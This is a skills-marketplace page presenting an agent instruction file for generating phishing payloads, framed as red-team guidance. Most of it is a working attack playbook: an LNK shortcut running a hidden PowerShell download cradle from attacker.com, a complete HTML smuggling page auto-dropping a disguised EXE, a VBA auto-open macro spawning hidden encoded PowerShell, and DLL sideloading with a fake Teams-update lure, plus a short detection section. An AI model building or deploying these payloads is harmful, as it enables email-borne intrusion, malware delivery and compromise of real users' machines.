본문으로 건너뛰기
cccskills
무료GitHub에 공개

phishing-payload-generation

Generate sophisticated initial access payloads designed to bypass email gateways and endpoint antivirus systems while executing Command and Control (C2) agents. Use this skill to craft malicious LNKs, ISOs, Weaponized Office Documents, and HTML Smuggling techniques for Red Team campaigns.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

설치 방법 보기

포함된 파일(3)

  • SKILL.md10.8 KB
  • evals/evals.json540 B
  • scripts/process.py7.8 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Phishing Payload Generation

When to Use

  • When initiating a Red Team engagement requiring a foothold within the corporate network via Spear-Phishing.
  • When evaluating the effectiveness of a client's Email Security Gateways (Proofpoint, Mimecast) or Endpoint Detection.
  • To understand how modern threat actors bypass traditional .exe and .doc macro restrictions.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: LNK (Shortcut) Files inside ISO Containers (Mark-of-the-Web Evasion)

# Concept: Windows applies a "Mark of the Web" (MotW) hidden attribute to files downloaded 
# from the internet, blocking macros and warning users. 
# Historically, ISO (disk image) files did not inherit MotW for the files contained within them, 
# making them the gold standard for payload delivery.

# 1. Payload construction:
# Create a malicious shortcut file (`Invoice.lnk`).
# Target Path: `C:\Windows\System32\cmd.exe /c "start /B powershell.exe -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"`
# Icon: Change icon to Microsoft Word or PDF to deceive the user.

# 2. Packaging:
# Generate a clean HTML file or decoy PDF to include next to the LNK.
# Use `mkisofs` or Impacket to compile the `.lnk` and decoy.pdf into `Financial_Report_Q3.iso`.

# 3. Execution:
# The victim double-clicks the ISO (Windows natively mounts it as a DVD drive).
# The victim double-clicks `Invoice.lnk`.
# The shortcut executes the invisible PowerShell download cradle, circumventing MotW warnings entirely.

Phase 2: HTML Smuggling (Bypassing Network Gateways)

<!-- Concept: Email gateways (Firewalls, Proxies) scan attachments for malware signatures. -->
<!-- HTML Smuggling uses JavaScript executing inside the victim's local browser to mathematical 
     assemble the malicious payload on the bypassing the network-level intrusion detection system (IDS). -->

<!-- 1. The Smuggling Payload (Invoice.html): -->
<html>
    <body>
        <h2>Loading secure document... Please wait.</h2>
        <script>
            // The malicious EXE is converted to a base64 string or an encrypted array of bytes.
            // The firewall only sees harmless HTML text passing over the network.
            var base64Payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQA..."; 
            
            // Reconstruct the bytes in the browser's memory
            var byteString = atob(base64Payload);
            var buffer = new ArrayBuffer(byteString.length);
            var intArray = new Uint8Array(buffer);
            for (var i = 0; i < byteString.length; i++) {
                intArray[i] = byteString.charCodeAt(i);
            }
            
            // Create a Blob and trigger an automatic local download
            var blob = new Blob([buffer], { type: 'application/octet-stream' });
            var url = window.URL.createObjectURL(blob);
            var a = document.createElement("a");
            a.href = url;
            a.download = "Secure_Company_Invoice_Update.exe";
            document.body.appendChild(a);
            a.click(); // Automatically downloads without server interaction!
        </script>
    </body>
</html>

Phase 3: Weaponized Office Documents (VBA Macros)

' Concept: The absolute classic. Highly monitored today, but effective heavily customized.
' Uses Microsoft's Visual Basic for Applications (VBA) to execute code when the document opens.

' 1. Create a Word Document. Ensure it requires the user to click "Enable Content" 
' (e.g., Use an image stating "This document is protected. Click Enable Content to view").

' 2. Embed the Macro (Run continuously upon Document Open):
Sub AutoOpen()
    ExecutePayload
End Sub

Sub Document_Open()
    ExecutePayload
End Sub

Sub ExecutePayload()
    ' Evasion: Do not call Shell() directly. Use WMI for disconnected execution.
    Dim objWMIService As Object
    Dim objStartup As Object
    Dim objConfig As Object
    Dim objProcess As Object
    
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    
    ' Hide the window
    objConfig.ShowWindow = 0 
    
    Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    
    ' Call the obfuscated payload living in a hidden document property or remote URL
    objProcess.Create "powershell.exe -w hidden -enc JABz...";, Null, objConfig, intProcessID
End Sub

Phase 4: DLL Sideloading via ZIP/RAR

# Concept: If you drop a malicious payload (e.g., `payload.exe`), AV instantly flags it.
# Instead, take a highly trusted, digitally-signed application (e.g., Microsoft Teams Updater, `teams.exe`).
# This application is vulnerable to DLL Hijacking. When it runs, it automatically loads `version.dll` from its current directory.

# 1. Compile your malicious C2 code as `version.dll`.
# 2. Package BOTH the legitimate, Microsoft-signed `teams.exe` and your malicious `version.dll` into a ZIP file.
# 3. Phish the user: "Please run the urgent Teams update patch in the attached ZIP".
# 4. The user clicks `teams.exe`. Windows Defender analyzes it, sees a valid Microsoft signature, and allows execution.
# 5. `teams.exe` blindly loads the adjacent `version.dll` (your payload) into its trusted memory space.

Decision Point 🔀

flowchart TD
    A[Analyze Target Defenses] --> B{Does Gateway strip explicit EXE/DLL/Msi attachments?}
    B -->|Yes| C{Does Microsoft Office block internet Macros by default?}
    B -->|No| D[Deploy DLL Sideloading ZIP]
    C -->|Yes| E[High Risk of Macro failure. Use ISO/LNK or HTML Smuggling]
    E --> F[HTML Smuggling delivers payload via browser generation]
    E --> G[ISO/VHD wrapper bypasses Mark-of-the-Web for internal LNK]
    C -->|No/Unknown| H[Deploy highly obfuscated, password-protected VBA Macro]

🔵 Blue Team Detection & Defense

  • Block ISO/VHD Attachments: Malicious actors aggressively use ISO, VHD, and IMG files specifically because legacy security controls failed to scan inside disk containers block these extensions at the Secure Email Gateway (SEG).
  • Macro Hardening (GPO): Microsoft rolled out an update preventing VBA macros from executing on documents downloaded from the internet natively. Ensure the Group Policy Object (GPO) "Block macros from running in Office files from the Internet" is strictly enforced organization-wide.
  • Mark of the Web (MotW) Auditing: Train Endpoint Detection and Response (EDR) solutions to closely monitor process trees. If a process possessing a MotW attribute (like a downloaded ISO) initiates cmd.exe, powershell.exe, or cscript.exe as a child process, kill the execution dynamically as highly suspicious heuristic activity.

Key Concepts

ConceptDescription
Initial AccessThe first phase of a cyberattack; gaining a foothold within the perimeter network
Mark of the Web (MotW)A hidden NTFS Alternate Data Stream (ADS) added by Windows to files downloaded from the internet. It triggers security checks like Protected View in Office
HTML SmugglingAn evasion technique utilizing HTML5/JavaScript file generation (Blobs) natively within the browser to bypass perimeter deep packet inspection
DLL SideloadingPlacing a malicious Dynamic Link Library adjacent to a perfectly legitimate, trusted executable to hijack the execution flow via native loading priority

Output Format

Red Team Campaign Briefing: Initial Access Payload Generation
=============================================================
Objective: Bypass enterprise Segregated Email Gateway (SEG) and deploy Cobalt Strike.
Technique: HTML Smuggling (T1204.002)

Description:
To bypass the heavily filtered perimeter boundary, the classic `.exe` delivery paradigm was abandoned. The Red Team utilized HTML Smuggling to construct an evasion payload. 

An HTML document disguised as an urgent "Microsoft 365 Password Expiration Notification" was developed. Embedded within the `<script>` tags was a base64-encoded, AES-256 encrypted byte array representing a DLL Sideloading ZIP archive containing a legitimate, signed Microsoft utility alongside the malicious C2 loader.

Execution Flow:
1. Target clicks the link in their phishing email.
2. The browser navigates to the attacker-hosted HTML page.
3. The Corporate Firewall deep packet inspection scans the incoming HTML, observing valid DOM structures and JavaScript, discovering no binary signatures. 
4. The HTML renders locally in the memory of the victim's Chrome browser. The JavaScript automatically decrypts the AES payload, generates the ZIP blob in memory, and triggers an automated `window.href` download script.
5. The ZIP file materializes directly on the victim's hard drive, bypassing network filtration.

Impact:
Successful delivery of the C2 implant past multi-million dollar perimeter security infrastructure.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고